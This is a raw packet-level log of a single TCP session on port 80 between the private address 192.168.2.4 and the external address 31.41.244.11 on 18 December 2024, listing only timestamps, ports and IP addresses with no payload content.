Dec 18, 2024 17:08:25.010077953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.010171890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.010184050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.010225058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.011245966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.011301994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.011375904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.011425972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.012192965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.012242079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.012325048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.013273001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.013334990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.013365984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.014360905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.014416933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.014476061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.014528990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.015557051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.015610933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.015665054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.015749931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.016576052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.016715050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.016717911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.016766071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.017621994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.017678022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.017751932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.017801046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.018704891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.018893957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.018960953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.019870043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.019995928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.020056963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.020891905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.020946026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.021025896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.021135092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.022166014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.022217035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.022264957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.022313118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.023269892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.023323059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.023408890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.023469925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.024530888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.024723053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.024775028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.025651932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.025742054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.025785923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.026647091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.026690960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.026756048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.026799917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.027548075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.027591944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.027620077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.027777910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.028482914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.028583050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.163785934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.163918018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.164141893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.164279938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.164365053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.164427042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.165286064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.165450096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.165508986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.166493893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.166793108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.166846991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.167602062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.167728901 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.167812109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.168587923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.168647051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.168685913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.169733047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.169794083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.170033932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.170241117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.170787096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.170952082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.170996904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.171950102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.172060966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.172102928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.173002958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.173053980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.173163891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.173264027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.174197912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.174302101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.174350023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.175286055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.175410986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.175461054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.176239014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.176404953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.176455021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.177336931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.177386999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.177535057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.178579092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.178632021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.178842068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.179233074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.179637909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.179701090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.179778099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.179837942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.180694103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.180756092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.180794001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.181735992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.181797028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.182085991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.182243109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.182828903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.183027029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.183079958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.184094906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.184288979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.184339046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.185050964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.185100079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.185134888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.185260057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.186177015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.186222076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.186264992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.186311960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.187185049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.187232971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.187434912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.188363075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.188386917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.188415051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.188441038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.189398050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.189519882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.189574003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.190452099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.190572023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.190627098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.191569090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.191669941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.191720963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.192616940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.192758083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.192811012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.193717957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.193764925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.193851948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.194248915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.194843054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.194999933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.195050001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.195918083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.196075916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.196129084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.197005987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.197148085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.197196960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.198179960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.198301077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.198349953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.199239016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.199440002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.199491024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.200278997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.200412035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.200463057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.201474905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.201590061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.201642036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.202553988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.202687025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.202775002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.203577995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.203692913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.203738928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.204654932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.204705000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.204977989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.205878973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.205930948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.205988884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.206243992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.206908941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.207047939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.207098961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.207973957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.208065033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.208111048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.209043026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.209199905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.209245920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.210118055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.210160971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.210344076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.211278915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.211338043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.211421013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.212404966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.212455034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.212493896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.212538958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.213447094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.213593960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.213641882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.214761972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.215120077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.215173006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.215794086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.216022015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.216064930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.216872931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.216921091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.217017889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.217792988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.217839003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.217919111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.218286037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.218934059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.218983889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.219029903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.219072104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.219954014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.220000029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.220077991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.220119953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.221035004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.221081018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.357012987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.357074022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.357192039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.357215881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.357292891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.357348919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.358231068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.358359098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.358408928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.359379053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.359528065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.359580040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.360299110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.360352993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.360423088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.361355066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.361404896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.361509085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.362237930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.362473011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.362597942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.362658024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.363934040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.364130020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.364183903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.364716053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.364758015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.364804983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.365257025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.365961075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.366008997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.366091013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.366136074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.367089987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.367139101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.367271900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.367322922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.368156910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.368202925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.368285894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.368330002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.369333029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.369379044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.369581938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.369628906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.370560884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.370609045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.370696068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.370739937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.371757984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.371897936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.371946096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.372947931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.373017073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.373071909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.373864889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.374011040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.374064922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.374877930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.374993086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.375044107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.375922918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.375972986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.376044989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.376816034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.376867056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.376890898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.377249002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.377743006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.377769947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.377819061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.378688097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.378801107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.378849983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.379610062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.379657984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.379723072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.380397081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.380445957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.380470991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.381371021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.381429911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.381453037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.381499052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.382437944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.382596016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.382641077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.383622885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.383753061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.383802891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.384887934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.384933949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.385065079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.385340929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.385822058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.385870934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.385899067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.385941029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.386830091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.386873007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.386924028 CET	80	49771	31.41.244.11	192.168.2.4
